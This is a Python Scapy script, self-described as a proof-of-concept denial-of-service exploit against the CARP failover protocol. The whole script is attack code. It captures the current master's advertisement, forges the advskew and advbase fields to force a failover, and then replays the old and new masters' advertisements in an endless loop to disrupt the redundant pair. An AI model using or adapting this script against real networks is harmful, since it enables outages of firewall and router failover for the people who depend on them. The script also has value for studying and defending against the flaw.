#!/usr/bin/env python
"""
CARP DoS PoC by wolfie
wolfie@ontogeny.ac.nz

Make sure the iface var below is correct for your machine :)
"""
from scapy.all import *
import time
conf.verb = 0

iface = "vmnet8"

print "[*] capturing current master's advertisement"
r = sniff(iface = iface, filter = 'proto 112', count = 1)
pkt = r[0]
# save it for replay later
fpkt = pkt.copy()

# make sure checksums are updated automatically when the packet is sent
pkt[IP].chksum = None
pkt[CARP].chksum = None

# set the two affected fields to force failover of current master
pkt[CARP].advskew = 255
pkt[CARP].advbase = 255

print "[*] forcing failover of master"
sendp(pkt, iface = iface, count = 1)

print "[*] waiting for new master to be elected"
time.sleep(2)

print "[*] capturing new master's advertisement"
pkt = sniff(iface = iface, filter = 'proto 112', count = 1)

print "[*] replaying both captured packets"
sendp([fpkt, pkt[0]], iface = iface, loop = 1, inter = 1)